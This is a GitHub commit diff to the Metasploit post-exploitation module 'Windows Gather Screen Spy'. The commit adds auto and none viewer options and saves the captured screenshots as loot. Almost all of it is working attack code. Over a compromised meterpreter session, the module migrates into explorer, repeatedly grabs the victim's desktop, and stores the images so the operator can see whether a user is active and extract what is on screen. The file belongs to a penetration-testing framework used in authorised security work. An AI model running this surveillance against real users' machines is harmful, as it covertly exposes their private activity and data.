Skip to content

Commit 80a0f06

Browse files
author
kernelsmith
committed
add 'auto' & 'none' VIEW_CMD, fixed looting, ch defaults
1 parent b1f8b87 commit 80a0f06

File tree

1 file changed

+59
-30
lines changed

1 file changed

+59
-30
lines changed

modules/post/windows/gather/screen_spy.rb

Lines changed: 59 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -13,34 +13,40 @@ def initialize(info={})
1313
super( update_info(info,
1414
'Name' => 'Windows Gather Screen Spy',
1515
'Description' => %q{
16-
This module will incrementally take screenshots of the meterpreter host. This
16+
This module will incrementally take desktop screenshots from the host. This
1717
allows for screen spying which can be useful to determine if there is an active
1818
user on a machine, or to record the screen for later data extraction.
19+
NOTES: set VIEW_CMD to control how screenshots are opened/displayed, the file name
20+
will be appended directly on to the end of the value of VIEW_CMD (use 'auto' to
21+
have the module do it's best...default browser for Windows, firefox for *nix, and
22+
preview app for macs). 'eog -s -f -w' is a handy VIEW_CMD for *nix. To suppress
23+
opening of screenshots all together, set the VIEW_CMD option to 'none'.
1924
},
2025
'License' => MSF_LICENSE,
2126
'Author' =>
2227
[
2328
'Roni Bachar <roni.bachar.blog[at]gmail.com>', # original meterpreter script
2429
'bannedit', # post module
25-
'kernelsmith <kernelsmith /x40 kernelsmith /x2E com>', # record support
30+
'kernelsmith <kernelsmith /x40 kernelsmith /x2E com>', # record/loot support,log x approach, nx
2631
'Adrian Kubok' # better record file names
2732
],
28-
'Platform' => ['win'],
33+
'Version' => '$Revision$',
34+
'Platform' => ['windows'], # @todo add support for posix meterpreter somehow?
2935
'SessionTypes' => ['meterpreter']
3036
))
3137

3238
register_options(
3339
[
34-
OptInt.new('DELAY', [false, 'Interval between screenshots in seconds', 5]),
35-
OptInt.new('COUNT', [false, 'Number of screenshots to collect', 60]),
36-
OptString.new('BROWSER', [false, 'Browser to use for viewing screenshots', 'firefox']),
37-
OptBool.new('RECORD', [false, 'Record all screenshots to disk',false])
40+
OptInt.new('DELAY', [true, 'Interval between screenshots in seconds', 5]),
41+
OptInt.new('COUNT', [true, 'Number of screenshots to collect', 6]),
42+
OptString.new('VIEW_CMD', [false, 'Command to use for viewing screenshots (auto, none also accepted)', 'auto']),
43+
OptBool.new('RECORD', [true, 'Record all screenshots to disk by looting them',false])
3844
], self.class)
3945
end
4046

4147
def run
4248
host = session.session_host
43-
screenshot = Msf::Config.install_root + "/data/" + host + ".jpg"
49+
screenshot = Msf::Config.get_config_root + "/logs/" + host + ".jpg"
4450

4551
migrate_explorer
4652
if session.platform !~ /win32|win64/i
@@ -55,46 +61,69 @@ def run
5561
return
5662
end
5763

58-
# here we check for the local platform and use default browsers
59-
# linux is the one question mark firefox is not necessarily a
60-
case ::Config::CONFIG['host'] # neat trick to get the local system platform
61-
when /ming/
62-
cmd = "start #{datastore['BROWSER']} \"file://#{screenshot}\""
63-
when /linux/
64-
cmd = "#{datastore['BROWSER']} file://#{screenshot}"
65-
when /apple/
66-
cmd = "open file://#{screenshot}" # this will use preview
64+
# here we check for the local platform to determine what to do when 'auto' is selected
65+
if datastore['VIEW_CMD'].downcase == 'auto'
66+
case ::RbConfig::CONFIG['host_os']
67+
when /mac|darwin/
68+
cmd = "open file://#{screenshot}" # this will use preview usually
69+
when /mswin|win|mingw/
70+
cmd = "start iexplore.exe \"file://#{screenshot}\""
71+
when /linux|cygwin/
72+
# This opens a new tab for each screenshot, but I don't see a better way
73+
cmd = "firefox file://#{screenshot} &"
74+
else # bsd/sun/solaris might be different, but for now...
75+
cmd = "firefox file://#{screenshot} &"
76+
end
77+
elsif datastore['VIEW_CMD'].downcase == 'none'
78+
cmd = nil
79+
else
80+
cmd = "#{datastore['VIEW_CMD']}#{screenshot}"
6781
end
6882

6983
begin
7084
count = datastore['COUNT']
71-
print_status "Capturing %u screenshots with a delay of %u seconds" % [count, datastore['DELAY']]
85+
print_status "Capturing #{count} screenshots with a delay of #{datastore['DELAY']} seconds"
7286
# calculate a sane number of leading zeros to use. log of x is ~ the number of digits
73-
leading_zeros = Math::log(count,10).round
87+
leading_zeros = Math::log10(count).round
88+
file_locations = []
7489
count.times do |num|
7590
select(nil, nil, nil, datastore['DELAY'])
7691
data = session.espia.espia_image_get_dev_screen
7792
if data
7893
if datastore['RECORD']
79-
# let's write it to disk using non-clobbering filename
80-
shot = Msf::Config.install_root + "/data/" + host + ".screenshot.%0#{leading_zeros}d.jpg" % num
81-
ss = ::File.new(shot, 'wb')
82-
ss.write(data)
83-
ss.close
94+
# let's loot it using non-clobbering filename, even tho this is the source filename, not dest
95+
fn = "screenshot.%0#{leading_zeros}d.jpg" % num
96+
file_locations << store_loot("screenspy.screenshot", "application/octet-stream", session, data, fn, "Screenshot")
97+
#shot = Msf::Config.install_root + "/data/" + host + ".screenshot.%0#{leading_zeros}d.jpg" % num
8498
end
8599

86-
fd = ::File.new(screenshot, 'wb')
87-
fd.write(data)
88-
fd.close
100+
# also write to disk temporarily so we can display in browser. They may or may not have been RECORDed.
101+
if cmd # do this if they have not suppressed VIEW_CMD display
102+
fd = ::File.new(screenshot, 'wb')
103+
fd.write(data)
104+
fd.close
105+
end
89106
end
90-
system(cmd)
107+
system(cmd) if cmd
91108
end
92109
rescue ::Exception => e
93-
print_error("Error taking screenshot: #{e.class} #{e} #{e.backtrace}")
110+
print_error("Error taking or storing screenshot: #{e.class} #{e} #{e.backtrace}")
94111
return
95112
end
96113
print_status("Screen Spying Complete")
97-
::File.delete(screenshot)
114+
if file_locations and not file_locations.empty?
115+
print_status "run loot -t screenspy.screenshot to see file locations of your newly acquired loot"
116+
end
117+
if cmd
118+
# wait 2 secs so the last file can get opened before deletion
119+
select(nil, nil, nil, 2)
120+
begin
121+
::File.delete(screenshot)
122+
rescue Exception => e
123+
print_error("Error deleting the temporary screenshot file: #{e.class} #{e} #{e.backtrace}")
124+
print_error("This may be due to the file being in use if you are on a Windows platform")
125+
end
126+
end
98127
end
99128

100129
def migrate_explorer

0 commit comments

Comments
 (0)